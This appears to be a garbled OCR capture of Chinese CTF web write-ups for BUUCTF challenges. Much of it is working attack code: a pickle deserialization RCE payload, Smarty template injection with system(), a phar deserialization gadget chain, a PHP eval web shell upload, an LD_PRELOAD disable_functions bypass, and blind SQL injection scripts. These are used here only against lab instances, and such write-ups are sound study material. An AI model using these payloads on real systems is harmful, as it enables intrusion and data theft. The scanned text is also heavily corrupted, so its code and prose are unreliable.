e3tlcmxfZmOyL19fZ2xvYmFsc19fWydvysncyddWydwb3AnKydlbiddKCdjYXQgL3RoaXNfaXNfdGh1X2ZsYScrJ2cudHh@JykucmVhZCgpfX0=

455 . flag{Bdb7adf7-11cc-47e3-a57f-a7a3983c4585)

[EEERYIVERE - base64 %

web development,
one drop at a time

BASEG4fFE:

[CISCN2019 4t X Day1 Web2]ikun

FREHESRENG, BT JLABER, ENMAR—T



import requests
url = "http://afdaf66c-c95a-4d7f-80da-6d149e896787 .node3.buuoj.cn/shop’
payload =

'page’

¥
for i in range(1,200):

payload[ 'page'] = i
r = requests.get(url,params=payload)
if 'lv6.png' in r.text:

print(i)

break

RARME181T, HEIEAS, HUEKEHrHk0.000000008
RGP~ Eadmin, FAT4HE T T, httpkEjwt, HBIXANMWEEFE—T, £hs256N%, F c-jwt-cracker #iffEkey

rootakali: TTEi/c—jwt—cracker# ./jwtcrack eyJhbGciOiJIUzIINIiISINR5cCIAIkpXVCI9.eyllc2V

ybmFtZSI6InhpYW9sb25nIn@.6Ci6Aa]ikU0zwMIkASi84qHI6701lv3xDpZTBkad6BXo
Secret is "1Kun"

HEADER:

eyJhbGeci0iJIUzITNiIsInR5cCI6IkpXVCJ9. ey
J1c2VybmFtZSI6ImFkbWluIn®.48on__HQ8B2- {

. . . . "alg”: "HS256",
wM1ZSwax31vRK4j54j1aXv-1JjQynjo :yg C W
}
PAYLOAD:
"username”: "admin”

VERIFY SIGNATURE

HMACSHA256 (
base64UrlEncode(header) + "." +
base64UrlEncode(payload),

TKun

) O secret base64 encoded

B ¥ejwtis & PR Ih G vadmin, 78R TR & Blwww.zip, F#
RIGHRpythonR P54k, BEfiid, BF55¢ )5 B ki~

BH

FH S AEadmin.py


https://jwt.io/#debugger-io

import tornado.web

from sshop.base import BaseHandler
import pickle

import urllib

class AdminHandler(BaseHandler):

@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin"
return self.render('form.html', res='This is Black Technology!', member=0)
else:

return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become")
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html’', res='This is Black Technology!', member=0)

postElt— 4~ S%become, 7E Fpickledt T & F 51k )5 IR B E Heigitk
PRl 3 B A DA A pickI ) s 5 51 Ak R
exp

import pickle
import urllib

class A(object):
def _ reduce_ (self):
return (eval, ("__import_('os').popen('cat /flag.txt').read()",))
2 = pickle.dumps(A())
@ = urllib.quote(a)
print(a)

HEEHpy2
A& become fI{E

= L

POST /blg_mdmber HTTP/1.1

Host: 92dccl9a-d746-41f6-882k-7d45e8d3c700.noded buuoj.cni81
User-Agent: Mozilla/S.0 (Windows NT 10.0: 'Wingd: x64; n:98.0) Gecko/ 20I00\0I Firefox/98.0
Accept: test/htrnl.application/xhtrl+xml.application/<ml.g=0.9image/avif.
Accept-Language zh-CM.zh;q=0.8zh-TW,q=07.zh-HK:q=05,en-US:q=03.en; q 02

Content-Type: application,x: forrm-urlencoded

Content-Length: 79

Origin: http://92dcc09a-d746-41f6-882b-T dd5e8d3cT00.noded buuaj.cn:Bl

Connedtion: dose

Referer: http://92dcc09a-d746-41f6-862b-7 d45e8d3c700.noded buuoj.cn:dl/blg_mdmber

Cookie: _xsrf=2|65ed67 0b|adb36775f2969649a 2fdB44d 18f61dBh| 1648111253; JWT=gdhbGaOulUzl IMilsinRScClelkpi Y CI9.ay) 1c2VybmFEZ SIBInhpY v 9sb2 Snin0.6C 164 ajikU Oz
commodity_id="2[1:0[10:164811127 2|12:cornmodity_id|8:IMTYyMNA==|addB8a57956f7 eb06deSfad 03 2a0e0047 7 3442 1432044 lec3d756c 10052 395"

Upgrade-Insecure-Requests: 1

IkASiBdqHIETolv3xDpZ TBkad6BXo;

_xsrf=2%7CbBbfedd%7 Ch9dcfeaa2ef90f967692 1d92cc998454%7 C 16481112538 becormne=c_ builtin_%04 eval%0Ap0%04%285%22_import_ %28%2705%27 %20, popen28%27 cat%20/flag bd%27 %29 read%28%:29%
20904 p1%0AR2%0ARR3%0A

Ng22333



https://xiaolong22333.top/index.php/archives/136/

flag{3109d0ac-93e9-4b96-9853-b8d2941d 7164}

—RRkAXRER

e N P P
5D @xiaolo I.-_l'_J'_J_._._.

[CISCN2019 4 % F§ % [X ]Web11

AR H W Build With smarty RE S, UHH TsmartyBitR, BllREREN
BE 2K Wip, ANk & BLEN S EXL

GET / HTTR/11 A charset=UTF-8">
Host: node3.buuoj.cn:29498 i <title=A Simple IP Address AP« /ftitle>
User-Agent: Mozilla/5.0 (Windows MNT 10.0; Wined; x64; rv:88.0) Gecko,/20100101 <link rel="stylesheet" href="./css/bootstrap.rmin.css">
Firefox/88.0 </head:>
Accept: text/htmlapplication/«htrl+xml application/xml;q=0.9image/webp,*/*q=08 <body>
Accept-Language: zh-Ch.zh:q=0.8zh-TW.q=07.zh-HK.q=05.en-US:q=03.en;q=0.2 <div class="container" =
Connection: close <div class="row" >
¥-Forwarded-For: {7%7) <div style="float:left" >
Upgrade-Insecure-Requests: 1 <hl=1P</h1=
Cache-Control: max-age=0 <h2 class="hidden-xs hidden-sm">A Simple Public IP Address APl</h2>
< /dive
<div style="floatright:margin-top:30px"> Current 1P:49 </dive
< fdive

BEfitsmarty, #—TFiB%, RIATLAHATphp R %L
smarty® 18 Fphp P B 5 31

e Hflag

X-Forwarded-For: {'cat /flag'|system}


https://www.php.cn/php-weizijiaocheng-252941.html

GET / HTTP/1.1

Host: node3.buugj.cn:28498

User-Agent: Mozilla/5.0 (Windows MT 10.0; Wingd; x64; rn:88.0) Gecko/20100101
Firefox/G8.0
Accept tedt/htrnl.application/<htrnl+xml. application,/=ml,g=0.9.image/webp.*/*:q=08
Accept-Language: zh-CM,zh:q=0.8zh-TW;q=07.zh-HK:q=05.en-U5.q=03.en;q=0.2
Connection: dose

¥-Forwarded-For: {'cat /flag'|systern)

Upgrade-Insecure-Requests: |

Cache-Control: max-age=0

F 3 5 i) I 18 5 ) — Lsmarty# F payload

{if phpinfo()}{/if}
{if system('ls"')}{/if}

{ readfile('/flag') }
{if show_source('/flag')}{/if}

{if system('cat ../../../flag')}{/if}

O

HTTP/1.1 200 CK

Server: nginx/1.14.2

Date: Fri, 23 Apr 2021 08:07:44 GMT
Content-Type: text/htrnl; charset=UTF-8
Connection: close

X-Powered-By: PHP,/7.3.5
Content-Length: 4019

<html lang="en"» <head> <meta http-equiv="Content-Type" content="text/htrnl;
charset=UTF-8">

<title=A Simple IP Address APl</title>

<link rel="stylesheet" href="/css/bootstrap.rmin.css">
</head>
<body>
<div class="container">

<div class="row">

<div style="float left" »

<h1=IP</hl=>
<h2 dass="hidden-xs hidden-sm">A Simple Public IP Address APl</h2>
</fdive

<div style="floatrightmargin-top: 20" = Current IP:<7php
$flag="flag{Bd7 e=fle-44d4-4289-Bablb-&7 107 29746k)";
«?php $flag="flag({8d7eefle-44d4-4289-Babb-eTb 107297 46k]";
< felive

< fdive

[CISCN2019 41t % X Day1 Web1]Dropbox

Bt EREE b — MR, ROV AT EAMER, A DMER S T

A, filenamed H/etc/passwd

{HEE TR SO, BwpA HiE Echdir() BL5E B FBEER filename=../../index.php
A] LA T #class.php,delete.php,download.php,index.php,upload.php

it A FH sk class.phpfdelete.php

//class.php

<?php

error_reporting(0);
"127.0.0.1";
"root";
"root";
"dropbox";

mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function _ construct() {
global $db;
$this->db = $db;

public function user_exist($username) {

$stmt = $this->db->prepare("SELECT “username™ FROM “users  WHERE “username’ = ? LIMIT 1;");

$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();

$count = $stmt->num rows;




if ($count === 0) {
return false;

}

return true;

public function add_user($username, $password) {
if ($this->user_exist($username)) {

return false;

}
$password = shal($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO “users’ (" id’, “username’, ~password ) VALUES (NULL, ?,

$stmt->bind_param("ss", $username, $password);
$stmt->execute();

return true;

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
¥
$password = shal($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT “password™ FROM “users® WHERE “username’
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) & $expect === $password) {
return true;

}

return false;

public function _ destruct() {
$this->db->close();

class Filelist {
private $files;
private $results;
private $funcs;

public function _ construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();




public function _ call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();

public function _ destruct() {

$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="t
able table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';

)
$table .= '<th scope="col" class="text-center">0Opt</th>";

$table .= '</thead><tbody>"';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
¥
$table .= '<td class="text-center" filename="' . htmlentities($filename) .
nload">iB#@Bi</a> / <a href="#" class="delete">#JfitE</a></td>";
$table .= '</tr>';

><a href="#" class="dow|

)
echo $table;

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is _dir($filename)) {
return true;
} else {
return false;

public function name() {
return basename($this->filename);

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];

public function detele() {
unlink($this->filename);




return file get contents($this->filename);

if (!isset($_SESSION[ 'login'])) {
header("Location: login.php");
die();

if (lisset($ _POST['filename'])) {
die();

include "class.php";

chdir($_SESSION[ 'sandbox']);

$file = new File();

$filename = (string) $_POST['filename'];

if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);

} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);

EEPIRSS 5

Userzkr
public function _ destruct() {
$this->db->close();

FileZtH
public function close() {
return file get contents($this->filename);

FileList3kH
public function _ call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();

_callXEXN R AR FERTIER, B3PUT, F—NSHEONERKTES




B A RB B 8 2 db B N FileListif — A% R B, $idTclose() ik, {HFileListh ¥ Hclose(), FRMAK _ call('close()) ik, fif
18 ¢file->close() , M $results=file get contents($filename) , T FileList->_ destruct() % $result

payload

public $db;
)
class File{

public $filename = '/flag.txt';
)
class FilelList{

private $files;

public function _ construct(){

$this->files = array(new File());

new User();

= new Filelist();
$a->db = $b;
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('<?php __ HALT _COMPILER(); 2>');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");

$phar->stopBuffering();

?>

L AER K KBS Himage/gif, SR JEMIBRET filename=phar://phar.gif

POST /delete.php HTTR/1.1

Host: 2586830c-6759-4dc7-bdd5-6a341c24cb00.node3 buugj.cn

User-Agent: Mozilla/5.0 (Windaows MNT 10.0; Wingd; x64; r.88.0) Gecko/20100101
Firefox/88.0

Accept: */*

Accept-Language: zh-CM.zh;q=0.8zh-TW.;q=07.zh-HK.q=05,en-US;q=03,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

¥ -Requested-With: XMLHttpRequest

Content-Length: 24

Origin: http://2586830¢-6759-4dc7-bdd5-6a341c24cb00.node3 buuoj.cn
Connection: close

Referer: http://2586830c-6759-4dc7-bdd5-6a341c24ckb00.node3 buuoj.cn/index php
Cookie: PHPSESSID=fbaB0e762c0380567 6cd7E18abb37360

filename=phar://phar.gif

HLfse TIERA K, BEAEEFESphpT. - -
ZBULEwWp
https://www.jianshu.com/p/5b91e0b7f3ac

e

https://blog.csdn.net/weixin_44077544/article/details/102844554
https://blog.csdn.net/weixin_43345082/article/details/100102082

[BSidesCF 2019]Futurella

#E M TR A flag
REHERAHE? 2 7

HTTP/1.1 200 OK

Server: openresty

Date: Sat, 24 Apr 2021 10:30:40 GIMT

Content-Type: application/json

Connection: close

Cache-Control: no-store, no-cache must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

*-Powered-By: PHP/5.640

Content-Length: 456

{"success"false "error":"File not exist"] < div id="container" class="container": <div
class="table-responsive": <table id="table" class="table table-bordered table-hover
sm-font"> <thead> <tr» <th scope="col"

class="text-center"> Opt< /th> < /thead> <tbody> <tr= <td

class="text-center" > flag{637 11d9d- 12b0-49f7 - I5ff9- dfic7 Yfcaffof]

</td> <td class="text-center” filenarne="flag.tt"> <a href="#"
class="download" = §ifi%</a> / <a href="#" class="delete":



https://www.jianshu.com/p/5b91e0b7f3ac
https://blog.csdn.net/weixin_44077544/article/details/102844554
https://blog.csdn.net/weixin_43345082/article/details/100102082

[GWCTF 201914 ## 9 $i 32 (4T R FF)

BHRSFEANT, UEHEN

[MRCTF2020]% i

= $_SERVER[ 'QUERY_STRING' ];

if( substr_count($query, ' ') !== @ || substr_count($query, '%5f') l= 0 ){
die('YOu are So cutE!");

if($_ GET['b_u p t'] !== "23333"' && preg match('/”23333%/', $ GET['b_u p t'])){
echo "you are going to the next ~";

phpZ B4 EH IR AN BN TRIL, ENW AT

3% secrettw.php
¥ Client-ip:127.0.0.1, (iIXHEF X-Forwarded-For 7 T)
RJE REjsfuck, BEIFZBIEHSBITHT, ®aEpost—i~-Merak

'takeip.php';
ini_set('open_basedir','.");
include 'flag.php';

if(isset($ _POST[ 'Merak'])){
highlight file(_ FILE );
die();

function change($v){

$v = base64 _decode($v);

$re = '';

for($i=0;%i<strlen($v);$i++){

.= chr ( ord ($v[$i]) + $i*2 );

b

return $re;
by
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!="'127.0.0.1")
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file get contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }

?>

todat is a happy dayfdatathil BN, file R F#EHE—T




'flag.php'
flag = '
for i in range(9,8):

v = chr(ord(re[i])-i*2)
flag = flag+v
print(flag)

B % payload

?2333=data://text/plain;base64,dGokYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=

Client-ip:127.0.0.1

GET A HTTP/1.1 200 OK
/secrettw.php?2333=data;//text/plain;basebd dGOY X OgaX Mgy SEoY X BweSBEY X k=&Fil i Server: openresty

e=ZmpdYSZmxGl= HTTP/1.1 Date: Wed, 28 Apr 2021 14:57:39 GMT
Host: fab307 2b-109d-4k7 1-8b2e-254f6d67 2ba3.node3 buuoj.cn Content-Type: text/html; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined; x64; r:88.0) Gecko/20100101 Connection: close

Firefox/88.0 #-Powered-By: PHP/5.640

Accept: ted/html application/«<html+xml.application/xml;q=0.9.image/webp,*/*q=0.8 Content-Length: 11534
Accept-Language: zh-CMN.zh,q=08zh-TW.q=07,zh-HKq=05,en-US;q=03,en;q=0.2

Client-ip: 127.0.0.1 Flag is here-But how to get it?Local access only! <br/>Your REQUEST
Connection: close issflag.php="php
Upgrade-Insecure-Requests: 1 $flag = flagld70bdaal-732c-40b2-b764-Tc37f842dcad]’;

echo "Flag is here~But how to get it™;

T+ (T 1+ T+ (1) T+
[T+ 0+ 00+ 0+1+]+(" T [J+1+[11+0)1

[t % K #kdk 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$ GET[ 'code'];
if(strlen($code)>40){
die("This is too Long.");
¥
if(preg_match("/[A-Za-z0-9]+/",%code)){
die("NO.");
}
@eval($code);

highlight file(__ FILE_);

A LA URL 4B HR e G2 1E

<?php

var_dump(urlencode(~'phpinfo'));

?>

?code=(~%8F%97%8F%96%91%99%90) () ;




— R TEAR L E RS

<?php
var_dump(urlencode(~'eval($_POST["test"])"'));
var_dump(urlencode(~'assert'));

PHP Version 7.033

Directive Local Value Master Value
allow_url_fopen On on
allow_url_include Off Off
arg_separator.input & &
arg_separator.output & &
auto_append _file
auto_globals jit on on
auto_prepend file
browscap
default charset UTF-8 UTF-8
default mimetype text/html text/html|

disable classes

disable functions

pentl_alarm,pentl_fork,pent]_waitpid, pentl_wait,pentl
_wifexited, pentl_wifstopped,pentl_wifsignaled,pentl_
wifcontinued, pcnt] wexitstatus,pentl wtermsig,pentl
_wstopsig,pentl_signal,pentl_signal get_handler,pent
I signal_dispatch,pentl_get Iast error,pentl_strerror,
pentl_sigprocmask pentl_sigwaitinfo,pentl_sigtimed
wait,pentl_exec, pentl_getpriority,pentl_setpriority, pe
ntl_async_signals,system,exec,shell_exec,popen,proc
_open,passthru,symlink linksyslog,imap_open,id.dl

pentl_alarm,pentl_fork,pentl_waitpid,pentl_wait,pentl
_wifexited,pentl_wifstopped,pentl_wifsignaled, pentl_
wifcontinued pentl wesxitstatus,pcntl wtermsig, pentl
_wstopsig,pentl_signal,pcntl signal_get_handler,pcnt
I signal_dispatch,pentl_get last errorpentl strerror,
pentl_sigprocmask,pentl_sigwaitinfo,pentl_sigtimed
wait,pentl_exec,pentl_getpriority, pentl_setpriority,pc
ntl_async_signals,system,exec,shell_exec,popen,proc
_open,passthru,symlinklink,syslog,imap_open,Id,dl

display _errors

Off

Off

display startup_errors

Off

Off

doc_root

docref ext

o

A%89%9E%93

B%AO%AF%BO%ACKAB%AL%DD%8B%IA%BC%EB%D

2%D6%D6

@ FEE - O
AntSword #BE =[O &
« m (0117.21.200.165 v
O Bx3lE (19) < | O3EnE (22) ~
= 11 OfE - | +1E | oRF | exER | muE - | [/ > iEn
+ Il var
EFR B4 el B
- bln J rnorre ZULSTIU-ZU TUsUuo oo usaa "
I boot (O lib 2018-12-29 04:23:49 30b 0755
M dev [ libs4 2018-12-26 00:00:00 34b 0755
I ctic
(3 media 2018-12-26 00:00:00 6b 0755
Im home
mnt 2018-12-26 00:00:00 6b 0755
I b =
M libs4 O opt 2018-12-26 00:00:00 6b 0755
B media 3 proc 2021-05-08 05:53:27 0b 0555
M mnt (3 root 2019-11-21 13:33:00 22b 0700
b opt (3 run 2018-12-29 04:32:42 21b 0755
I proc (3 shin 2018-12-20 04:32:37 20 b 0755
B root 0O s 2018-12-26 00:00:00 6b 0755
I run
0 sys 2021-05-07 16:57:18 0b 0555
I sbin
03 tmp 2018-12-29 06:51:27 &b 1777
|
- (3 usr 2018-12-26 00:00:00 19 b 0755
M tmp 03 var 2018-12-29 04:32:38 17 b 0755
I usr D .dockerenv 2021-05-08 05:53:27 0b 0755
3 flag 2021-05-08 05:53:28 43b 0400
[4 readfiag 2019-11-21 13:32:10 8.65 Kb 6775
=drEmnlE ~

BREERATHS, TiEkiEiiflag, FEbypass disable_functions



bypass_disablefunc_via LD PRELOAD

TEvartmp/ B 3% 4% bypass_disablefunc_x64.so3ff Fl bypass_disablefunc.phpXXft , ¥bypass_ disablefunc.phpih
shell.php

& =EWE - O X
AntSword &HE B[O #EE
« = (9 117.21.200.165 y

O B#3E (0) < | Dx#HRE (2) ~

=7/ oHNE v A¢LE CRF 2 «FBF  WNHE -« fvartmp/ 2 X
=T var

R BHHA il B
D bypass_disablefunc_x64.s0 2021-05-08 06:00:56 6.79 Kb 0644

= I www
Il backups
M cache ) shell.php 2021-05-08 06:00:56 580 b 0644
I b
I local
I lock
I log
I mail
b opt
| run H
| spool
m tmp
m bin
boot BFR =ity W& felb=Spg =] AT

dev L bypass_disablefunc_x64.s0 => [var) L& 2021-05-08 14:00:56 2021-05-08 14:00:56

=EH5ENE v

etc inkic bypass_disablefunc.php => jvar/tm| t /i 2021-05-08 14:00:56 2021-05-08 14:00:56
home

lib
lib64

media

[ |
E]
3

?code=${%fekfekferfer%alkbo%bb%aa}[ ] (${%fekfekfekfer%alkbo%bb%aa}[ 1);& =assert& =include(%27/var/tmp/shell.p|

hp%27)&cmd=/readflagoutpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

& C m A TZ4 | 7ddf6637-3827-4e74-a1d3-f278ac7df426.node3 buuoj.cn/?code=${%fe%fed%fed%fe * %a1%ba%bb%aa)[ 1(${%fe%fe%fe%
() BEEIEE ( - ). W BEE—F, @EEME ) HUCTF2020 [3 BugkuCTF-&3Fs % ctfshow AcFunZ#EAN -.. i xiaolong'sblog @ TS -BugkuC.. (@ CTFEESE
example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass disablefunc x64.so
cmdline: /readflag > /tmp/tmpfile 2> &1

output:
flag{257146¢c2-f913-4a06-a926-641c132e3023}

BE WS KR AT LA, BB EZElinux R AL 1T
X7, EER—Fhexp, FAETEEENE

Pcode=$ =" {{{"~"2<>/";;${ [ _1(${3_}[__1);& =assert& =#HITHIWS

[WUSTCTF2020]5i18 5% 5 2 #1

BiE, FZAT [HEAHSE 2019]FinalsQL MIIARAT T


https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

import requests

import time

url = "http://3b4eld96-f3b6-4922-970d-1573f11alf27.node3.buuoj.cn/"
flag = '

payload = {

'stunum': "’

for i in range(1,300):
left = 1
right = 127
mid=int((left+right)/2)
while(left<right):
#payload[ 'stunum'] = "1~(ascii(substr(database(),%d,1))<%d)#"'%(i,mid)
#payload[ 'stunum'] = '1~(ascii(substr((select(group_concat(table_name))from(information_schema.tables)wh
ere(table schema="ctf")),%d,1))<%d)#"'%(i,mid)
#payload[ 'stunum'] = "1~(ascii(substr((select(group_concat(column_name))from(information_schema.columns)
where(table_name="flag")),%d,1))<%d)#"'%(i,mid)
payload[ 'stunum'] = "17(ascii(substr((select(group_concat(value))from(flag)),%d,1))<%d)#" '%(i,mid)
r = requests.get(url=url,params=payload)
time.sleep(0.001)
if 'admin' in r.text:
left=mid+1
else:
right=mid
mid=int((left+right)/2)
flag+=chr(mid-1)

print(flag)

[BSidesCF 2019]Kookie

N Cookie:username=admin

GET /faction=login&username=admin&password=123456 HTTP/1.1 A “ps

Host: 06a53605-777f-410c-9bal-bfcee8591ab2.nodes3 buuoj.cn i We found the account <tt: cookie</tt> / <tt>rmonster -/t

User-Agent: Mozilla/5.0 (Windows MNT 10.0; Wined; x64; r.88.0) Gecko/20100101 </p=

Firefox/88.0

Accept: text/html application/«<htrml+xml, application/xml;q=0.9image/webp,*/*; <div class="challenge rounded'=

Accept-Language: zh-Ch.zh;q=0.8zh-TW;q=0.7.zh-HK:g=0.5,en-US;q=0.3,en;gq=0.2 <div class="messagebox'>

Connection: close

Cookie: username=admin <div class="alert alert-info" role="alert">

Referer: http://06a53605-777f-410c-9bal-Ifceed591ab2 node3 buuoj.cn/

Upgrade-Insecure-Requests: | <p=>Congratulations! You're logged in as <span
class="highlight'> admin</span=! Your flag is: <span
class="highlight'>flag{dff 1c86d-9d13-4c12-95b4-12e20ad2ceb9) < /span = < /p=>

< fdive

[FBCTF2019]RCEService

R Ejsontg X
W {"emd": "1s"} RIATEA, RJ5fuzz— T KB Aebanii&E A& banT, & Twp, #MAEE LIRE? ? 2 BERIIEE? &SR
g ?



<?php
putenv('PATH=/home/rceservice/jail");

if (isset($ REQUEST['cmd'])) {
$json = $ REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>"';

} elseif (preg_match('/~.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dir
s|disown|echo|enable|eval |exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|pr
intf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask]|una
lias|unset|until|wait|while|[\x@0-\Xx1FA-Z0-9!#-\/;-@\[- |~\x7F]+).*$/', $json)) {

echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !'== NULL) {
system($cmd);
} else {
echo 'Invalid input';
¥

echo '<br/><br/>"';

BT, ERET EREEI
?cmd={%0a"cmd" : "1s%20/"%0a}
BARE RN 2 BN BATR, At A— DT

?cmd={%0a"cmd" :"/bin/cat%20/home/rceservice/flag"%0a}

putenv('PATH=/home/rceservice/jail'); WE T HIHAE, EHLNEKE, FKN Hilpath%FHcat, EHLN KA, HEL

£ /bin/cat

A — R A 1B i
P A 1) SCE PHPFI F PC RE 121 3 2k B ] i 5 2 22 4= PR 1]

import requests
url = "http://b063435e-bael-4103-853c-103ae735a894.node3.buuoj.cn/"’
payload = {

‘emd':'{"cmd":"/bin/cat /home/rceservice/flag","xiaolong":"'+'a'*1000000+"'"}"

requests.post(url=url,data=payload)
print(r.text)



https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

<html >
<body>
<h1>Web Adminstration Interface</h1>

Attempting to run command:<br/>f1lag{@e6cc278-420a-4e64-8d0e-876a57/bae/c9}
<br/><br/>
<form>
Enter command as JSON:
<input name="cmd" />
</form>
</body>
</html>

ey

PS D:\work> D hitps://blog.csdn.net/xiaolong22333

[CISCN2019 i 1 3¢ Day2 Web1]Easyweb

robrots.txt #&/RA &0 XM EE, Wik/E KM ~Zimage.php.bak

< ?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($ GET["path"])?$ GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%@0","\\"'",""'"),"",%id);
$path=str_replace(array("\\0","%00","\\"'",""'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli fetch array($result,MYSQLI ASSOC);

$path="./" . $row["path"];

header("Content-Type: image/jpeg");
readfile($path);

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\"'",""'"),"",%$id);
$path=str_replace(array("\\0","%00","\\"'",""'"),"",$path);

RN \o,, LiTaddslashes’ XJ5ZER \\0, AREIE \o B NT, BTT \, Bl EHEK
payloadZ&fl F

?id=\\0&path= or id=1%23

H #pythoniii 4 i




import requests

‘http://46973624-2d57-4f8d-84c7-bde2ae35bbd4.node3.buuoj.cn//image.php?id=\\0&path= or id="

for i in range(1,300):
left = 1
right = 127
mid=int((left+right)/2)
while(left<right):

#payload = 'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table

schema=database() ),{},1))>{},1,0)%23"'.format(i,mid)

payload = 'if(ascii(substr((select password from users ),{},1))>{},1,0)%23"'.format(i,mid)

r = requests.get(url=url+payload)
if 'FIF' in r.text:
left=mid+1
else:
right=mid
mid=int((left+right)/2)
flag+=chr(mid)

print(flag)

ERFWEEM, b3, KX RIEBAR T HEXHF, BEFTHEXHMLE, FrUmBERSXHHES, Witk

XHFERS

FARREE Blphp, FTLARERRZESEIT <?= eval($_POST['cmd']);?>

POST jupload.php HTTR/1.1

Host: 46973624-2d57-4f8d-84c7 -bdel ae35bbdd noded buug).cn

User-Agent: Mozilla/5.0 (Windows MT 10.0; Wins4; x64; rv.88.0) Gecko/20100101
Firefox/88.0

Accept text/htrmlapplication,/<htrl+xrml application/xmlg=09.image/webp*/*q=0.8
Accept-Language: zh-CMN.zh:g=08zh-TW.q=07.zh-HK:q=05.en-US;q=03.en:q=0.2
Content-Type: multipart/form-data;

boundary= 32714835012520247 2412773634
Content-Length: 387

Origin: http://46973624-2d57 -4f8d - 84c7 -bdelae35bbdd.node3 buunj.cn
Connection: close

Referer: http://46973624-2d57 -4f8d-84c/ -bdelae3Sbbdd.nodes buugj.cn/user. php
Cookie: username=CESFDx4%30

Upgrade-Insecure-Requests: |

32714835012520247 2412773634
Content-Disposition: form-data; name="file"; filename="+7= eval(§_POST['cmd']),?>"
Content-Type: application/octet-stream

< 7= eval(§_POST['crnd]), 7>

327148350125202472412773634
Content-Disposition: form-data; name="submit"

Subrnit
327148350125202472412773634--

RIS ER, Fflag

T

a¥

HTTP/1.1 200 OK

Server: openresty

Date: Wed, 12 May 2021 09:15:34 GMT
Content-Type: text/html

Connection: dose

Wary: Accept-Encoding

X-Powered-By: PHP/5.5.9-lubuntud.29
Content-Length: 157

| logged the file name vou uploaded to
logs/upload.beb27b56410d08389d0e5319041f4958.log.php.
LOL < script > setTimeout(location.href="user php"', 32000); < /script =

e

PR



= HHEEIE (8) B FEBE (1)

URLHHE TP IR poduh ik B jE B A4 E © m
http://46973624-2d57-4f8c-84C7-| 117.2 = ses=aiip ( hittp://26973624-2d57-4f8d-84c7-b4e2ae35bbd4.node3.buu... _ O X b
hitp: //7ddf6637-3827-4e74-a1d3~ 117.2

S aal BEF | xEE
http://dS9dadac-7bdo-4524-9dd0- 117.2
B ErmE v

http://ffafa5f4-59c1-4522-b821-c€ 117.2

http://d1c08106-5436-4135-0774- 1172 Rt * | http://46073624-2d57-4f8d-84¢7-b4e22e35bbd4.node3. buuoi.cn/logs/

http://4f576a68-be42-4609-a0aa- 117.2

EEES cmd
http://datalcs3-affc-41di-adel-9 117.2 s
" FlsEE
http://0170dc7b-f26f-4be4-9710-2 1115 R
WEiRE UTF8 v
EEa PHP v
+ default
random

[ZerOpts2020]Can you guess it?

